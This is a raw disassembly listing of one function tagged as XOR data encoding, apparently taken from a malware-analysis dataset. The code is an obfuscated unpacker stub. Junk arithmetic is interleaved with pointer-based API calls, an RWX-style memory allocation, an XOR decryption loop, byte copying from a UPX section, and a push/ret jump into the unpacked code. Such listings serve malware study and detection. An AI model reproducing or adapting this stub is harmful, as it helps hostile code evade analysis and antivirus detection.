Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x72a53e49
mov ebx, ecx
sub ecx, 0xa2b7b280
popal
sub ecx, 1
add ebx, ecx
mov ebx, 0
mov ecx, edi
add esi, eax
mov esi, eax
sub esi, 0x541ef65e
mov edx, ecx
inc eax
add eax, esi
mov edi, edx
sub eax, 0x5d1dc28b
sub eax, esi
inc ebx
or eax, eax
inc esi
inc esi
cmp ebx, 0x10040bc
jne 0xa789c8
mov esi, 0xc433362f
and esi, eax
sub ecx, 0x175d4df5
dec ebx
mov ecx, 0xa78796
mov ebx, 0x22b2a939
mov edx, eax
mov esi, 0xa7898a
or eax, ebx
mov eax, ebx
or edx, eax
mov edi, dword [ecx]
or ebx, eax
not ebx
and edi, 0xff
not ebx
dec eax
xor dword [esi], edi
sub eax, 1
add edx, ebx
inc esi
inc eax
add eax, 0xfeafd84d
not edx
inc ecx
mov edx, eax
mov eax, edx
add eax, ebx
cmp esi, entry0
jl 0xa78a19
add edx, edx
sub edx, 0xa84fe2c4
add edx, 0xd13b49bd
sub eax, ebx
mov ebx, 0x7ce8912a
mov ecx, 0xf7d00d0d
sub edx, edi
mov ebx, 0xa7898e
mov edx, ecx
inc ecx
mov ebx, dword [ebx]
sub edx, edi
mov ecx, edi
sub edi, esi
mov ebx, dword [ebx]
or esi, esi
sub ecx, 0xda542c07
inc edx
sub esp, 4
mov dword [esp], ebx
add esi, ecx
mov edx, edi
sub esi, 0x4ccfaea5
mov ebx, 0xa7898a
add edi, 0x29528d96
mov edx, esi
add edi, edi
mov ebx, dword [ebx]
mov edx, edi
dec esi
add esi, 0x98895eb3
mov ebx, dword [ebx]
sub edx, edi
not ecx
sub esp, 4
mov dword [esp], 0xa78992
mov esi, 0xef5f9ade
and edx, esi
mov edx, ecx
call ebx
sub edx, esi
mov esi, 0x8f09c6e1
mov ebx, dword [esp]
add esp, 4
add edx, 1
dec ecx
dec edx
sub esp, 4
mov dword [esp], 0xa7899f
not ecx
add esi, 0x6be19b91
push eax
not esi
mov edx, esi
call ebx
add edx, 1
or edx, esi
add esi, edx
push 0x40
mov ecx, 0xbdafc733
inc edx
push 0x3000
sub edi, 0xd56f55d8
dec esi
sub esp, 4
mov dword [esp], 0x20000ab7
sub ecx, esi
add edi, 0x38f76b3
push 0
inc edi
not esi
sub edx, ecx
call eax
mov ecx, 0x8c8ce4b3
or ecx, edx
add eax, 0x20000a40
inc esi
mov esi, 0x38df793d
mov ebx, 0x5eb3ee0d
add ecx, edi
add esi, edi
sub ecx, 0x1c470f69
mov dword [eax], ebx
add edi, edi
add esi, edi
add edi, ecx
mov ebx, dword [eax]
sub edi, edx
mov edx, 0x79585c3b
mov edx, ecx
cmp ebx, 0x5eb3ee0d
je 0xa78b7c
mov ebx, 0
mov al, byte [ebx]
add ecx, 0xe72be29d
and esi, esi
sub edi, 1
mov edi, edx
dec ecx
not edi
add ecx, ecx
or ecx, ecx
add ebx, 0xf6079145
mov eax, section.UPX1
add ecx, ebx
mov ecx, 0xea596765
add ebx, ecx
mov edi, 0xa78795
mov ecx, 0x3e30098d
or ebx, ecx
mov esi, 0
add ebx, 1
and ecx, ecx
mov edx, 0xa78796
or ecx, ecx
not ecx
add ebx, 0xdd4fd8a7
lea edx, [esi + edx]
or ebx, ebx
mov ecx, 0xf1920fc3
inc ecx
mov edx, dword [edx]
sub ebx, 0x84ebeb07
sub ecx, 0x2c0a0dff
add ebx, 0x2e426f5
and edx, 0xff
or ebx, ebx
or ebx, ecx
add ebx, ebx
inc esi
add ecx, 0xea4ae3dc
or ebx, ebx
cmp esi, 0x1f4
jne 0xa78c10
mov esi, 0
sub ecx, ebx
sub ebx, ecx
add ebx, 0x670e1096
sub ecx, 0xd00d9e97
xor dword [eax], edx
mov ebx, ecx
mov ebx, 0x6cd744ff
add eax, 2
sub ebx, ecx
sub ecx, 0xb410bc98
cmp eax, edi
jl 0xa78bc0
add ebx, 0x208b09c6
mov ebx, 0x2adcad13
not ebx
dec ecx
mov esi, section.UPX1
dec edi
or edx, edx
mov ebx, section.UPX1
sub edx, 0xa3a2891e
mov edx, edi
or edx, edx
mov eax, 0xa78795
mov edi, edx
mov edi, 0x649415a2
not edi
mov ecx, 0
add edx, 0xdb6c46fc
or edi, edx
not edx
mov cl, byte [ebx]
mov edx, edi
not edi
mov edx, edi
mov byte [esi], cl
add edi, 0xf18f09b6
inc edx
mov edi, 0x9db5885b
inc esi
add edi, 0xdc9d9f13
not edx
add edx, edx
add ebx, 2
inc edx
mov edx, 0x40dfe19d
cmp ebx, eax
jle 0xa78c81
add edx, 1
not edi
sub ebx, 0x3d578699
not ebx
sub ecx, 0xd642553c
push 0x8dc6a0
inc ecx
sub ecx, 0xccf1d3eb
ret